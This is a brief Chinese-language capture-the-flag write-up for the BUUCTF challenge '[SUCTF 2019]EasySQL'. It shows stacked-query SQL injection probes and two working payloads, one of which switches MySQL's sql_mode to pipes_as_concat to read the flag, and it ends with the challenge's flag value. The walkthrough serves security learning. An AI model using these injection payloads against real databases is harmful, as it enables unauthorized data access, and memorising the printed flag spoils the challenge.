Buuctfweb[SUCTF 2019]EasySQL

首先进去了,先1;show tables;#看了看表

 看到了flag,就想着1;show columns from Flag;#  然后不行

然后就不会了,然后就看了别的大佬。

别的大佬从报错中猜出了查询语句:select $_GET['query'] || flag from flag

然后可以构造payload

一。payload: *,1

 二。payload:  1;set sql_mode=pipes_as_concat;select 1

思想是把"||"变成字符串连接符,而不是或
涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat字符就可以设置。

flag{d1479efa-8984-48d3-b17b-565eaab3e105}

参考:

https://blog.csdn.net/weixin_44037296/article/details/105190639?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param

原文地址:https://www.cnblogs.com/tac2664/p/13708220.html